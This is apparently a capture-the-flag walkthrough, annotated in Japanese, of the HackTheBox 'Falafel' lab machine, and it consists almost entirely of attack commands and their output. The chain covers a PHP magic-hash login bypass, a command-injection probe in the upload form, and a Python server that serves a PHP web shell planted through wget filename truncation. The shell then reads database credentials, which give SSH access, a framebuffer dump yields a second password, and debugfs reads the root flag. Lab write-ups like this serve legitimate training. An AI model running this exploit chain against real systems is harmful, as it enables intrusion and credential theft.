nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.139
nmap -sV -sC -p 22,80 10.129.229.139

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
80/tcp open  http    Apache httpd 2.4.18 (Ubuntu)
ホスト名検出: falafel.htb

login.phpはboolean-based blind SQLiにも脆弱(sqlmap --technique=B
--string="Wrong identification" でusersテーブルをdump可能)だが、
admin のパスワードハッシュが PHP の "0e" マジックハッシュ形式
(例: 0e462096931906507119562988736854)であることが分かれば、
SQLiを経由せずに直接ログインバイパスできる。

md5("240610708") も "0e" に続く全桁が数字のみのハッシュ値になる。
PHPの緩い比較(==)では "0eXXXXX" 形式の文字列同士は数値として比較され、
全て 0 と評価されるため admin_hash == md5(240610708) が真になる。

curl -c cookies.txt http://10.129.229.139/login.php
curl -b cookies.txt -c cookies.txt -X POST \
  -d "username=admin&password=240610708" \
  http://10.129.229.139/login.php

<a href="?op=upload">Upload</a>
<a href="profile.php">Profile</a>
<a href="logout.php">Logout</a>

curl -b cookies.txt http://10.129.229.139/upload.php

<h1>Upload via url:</h1>
<form method="post">
  <input type="url" name="url" placeholder="http://domain.com/path/image.png">
  <input type="submit" value="Upload">
</form>

curl -b cookies.txt -d "url=http://x';id;'.gif" \
  http://10.129.229.139/upload.php

CMD: cd /var/www/html/uploads/...; wget 'http://10.10.15.200:8090/x'\'';id;'\''.gif'

保存ファイル名をwgetに決めさせる別の攻撃として、攻撃者サーバー側で
"Content-Disposition: attachment; filename=\"shell.php\"" ヘッダーを
返すことでwgetにファイル名を指定させる手法を試したが、保存結果は
常にURLのベース名(例: avatar.gif)のままだった。

import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

payload = b"<?php system($_GET['c']); ?>"

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/gif")
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)

httpd = HTTPServer(("0.0.0.0", 18097), H)
threading.Thread(target=httpd.serve_forever, daemon=True).start()

# 236文字超のファイル名は wget 自身の内部ロジックで短縮される
LONG_NAME="$(python3 -c "print('A'*232+'.php.gif')")"
curl -b cookies.txt -d "url=http://10.10.15.200:18097/${LONG_NAME}" \
  http://10.129.229.139/upload.php

<h3>Upload Succsesful!</h3>
CMD: cd /var/www/html/uploads/1024-2103_719e3df129ad19df; wget '...AAAA...php.gif'
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAA...(232個の A)...php.
Saving to: 'AAAA...php'
200 OK ... saved [28/28]

PHP_NAME="$(python3 -c "print('A'*232+'.php')")"
curl "http://10.129.229.139/uploads/1024-2103_719e3df129ad19df/${PHP_NAME}?c=id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://10.129.229.139/uploads/.../${PHP_NAME}" \
  --data-urlencode "c=cat /var/www/html/connection.php" -G

define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'moshe');
define('DB_PASSWORD', 'falafelIsReallyTasty');
define('DB_DATABASE', 'falafel');

sshpass -p 'falafelIsReallyTasty' ssh moshe@10.129.229.139 \
  "id; cat ~/user.txt"

uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),
22(voice),25(floppy),29(audio),44(video),60(games)
a233f72e4b84dfb2312076b5ff634358

ssh moshe@10.129.229.139 \
  "cat /sys/class/graphics/fb0/virtual_size; cat /sys/class/graphics/fb0/bits_per_pixel"

1176,885
32

ssh moshe@10.129.229.139 "base64 -w0 /dev/fb0"

# 1176 * 885 * 4 = 4163040 バイト
ssh moshe@10.129.229.139 "head -c 4163040 /dev/fb0 | base64 -w0" > fb0.b64
base64 -d fb0.b64 > fb0.raw

from PIL import Image
img = Image.frombuffer("RGBA", (1176, 885), raw, "raw", "BGRX", 0, 1)
img.save("fb0.png")
# → tesseract fb0.png - --psm 6 でOCR

sshpass -p 'MoshePlzStopHackingMe!' ssh yossi@10.129.229.139 "id"
sshpass -p 'MoshePlzStopHackingMe!' ssh yossi@10.129.229.139 \
  "mount | grep -E ' on / '"

uid=1000(yossi) gid=1000(yossi) groups=1000(yossi),4(adm),6(disk),24(cdrom),30(dip),46(plugdev),117(lpadmin),118(sambashare)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)

sshpass -p 'MoshePlzStopHackingMe!' ssh yossi@10.129.229.139 \
  'debugfs -R "cat /root/root.txt" /dev/sda1 2>&1'

e8b83724f8b697759ca418de1440e2d0